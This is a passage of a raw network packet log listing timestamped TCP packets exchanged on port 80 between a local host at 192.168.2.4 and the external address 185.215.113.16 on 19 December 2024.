Dec 19, 2024 07:56:47.961551905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.961591959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.962563992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.962680101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.962830067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.963685989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.963799000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.963844061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.964831114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.964941978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.965843916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.965915918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.966057062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.966104984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.967050076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.967164993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.967209101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.968146086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.968269110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.968848944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.969297886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.969382048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.970374107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.970423937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.970493078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.970535040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.971501112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.971620083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.972651958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.972704887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.972735882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.972778082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.973727942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.973846912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.974366903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.974414110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.974479914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.974523067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.975533009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.975656033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.975795031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.976622105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.976722956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.976897955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.977756023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.977914095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.977963924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.978840113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.978971004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.979021072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.979967117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.980082989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.980174065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.981095076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.981206894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.981277943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.982338905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.982415915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.982464075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.983321905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.983434916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.983580112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.984421968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.984575033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.984628916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.985547066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.985641956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.985761881 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.986664057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.986808062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.986886024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.987792969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.987905979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.987950087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.988887072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.988945961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.990072012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.990108967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.990119934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.990149975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.991138935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.991234064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.991285086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.992237091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.992346048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.992403030 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.993364096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.993469000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.993513107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.994484901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.994607925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.994649887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.995568991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.995692015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.995774031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.996716976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.996839046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.996882915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.997854948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.997980118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.998027086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:47.999023914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.999079943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:47.999124050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.000103951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.000206947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.000252008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.001202106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.001295090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.001343012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.002316952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.002424955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.002469063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.003398895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.040150881 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.270526886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.390288115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.707798958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.707920074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.708221912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.708297968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.708332062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.708381891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.709362984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.709470034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.709527016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.710459948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.710566044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.710630894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.711596012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.711707115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.711771011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.832892895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.832986116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.833300114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.833347082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.833442926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.833512068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.834451914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.834574938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.834640980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.835582972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.835707903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.835783005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.836690903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.836792946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.837091923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.838403940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.838489056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.838548899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.838896990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.838993073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.839051008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.840037107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.840137005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.840205908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.841109037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.841228008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.842302084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.842363119 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.842394114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.842446089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.843363047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.843477964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.843524933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.844518900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.844551086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.844620943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.959158897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.959249020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.959366083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.959606886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.959775925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.959908962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.959975004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.960887909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.960954905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.960988045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.962045908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.962131023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.962188005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.963140965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.963275909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.963337898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.964355946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.964417934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.964443922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.965349913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.965454102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.965513945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.966456890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.966515064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.966556072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.967642069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.967751980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.967813969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.968689919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.968751907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.968801022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.969899893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.970030069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.970092058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.970927954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.971035004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.971091032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.972062111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.972117901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.972157955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.973164082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.973264933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.973324060 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.974327087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.974385023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.974483013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.975467920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.975529909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.975603104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.976516008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.976602077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.976644039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.977653027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.977796078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.977854967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.978775024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.978837967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.978899002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.979875088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.979948044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.979975939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.980981112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.981137037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.981213093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:48.982110977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:48.982187033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.024738073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.024794102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.024905920 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.084218979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.084306955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.084368944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.084714890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.084923029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.084974051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.085103035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.086000919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.086055994 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.086121082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.087136984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.087177038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.087188959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.088217020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.088262081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.088443995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.089353085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.089401007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.089447975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.090492964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.090539932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.090600014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.091590881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.091638088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.091696024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.092721939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.092766047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.092799902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.093842983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.093888998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.093919992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.094940901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.094985962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.094994068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.096054077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.096101046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.096158028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.097155094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.097204924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.097238064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.098303080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.098346949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.098400116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.099394083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.099546909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.099570036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.100498915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.100548029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.100610018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.101622105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.101667881 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.101718903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.102737904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.102782965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.102822065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.103866100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.103914022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.103914976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.104965925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.105006933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.105038881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.106086016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.106139898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.106199980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.107215881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.107275009 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.107306004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.108318090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.108369112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.108424902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.109422922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.109472036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.109519958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.110569000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.110620975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.110651970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.111663103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.111713886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.111754894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.112813950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.112895012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.112937927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.113917112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.113970995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.114065886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.115020037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.115071058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.115120888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.116131067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.116200924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.116235971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.117258072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.117317915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.117367029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.118360043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.118431091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.118455887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.151252985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.151379108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.151473999 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.151647091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.151796103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.151818037 CET	49744	80	192.168.2.4	185.215.113.16
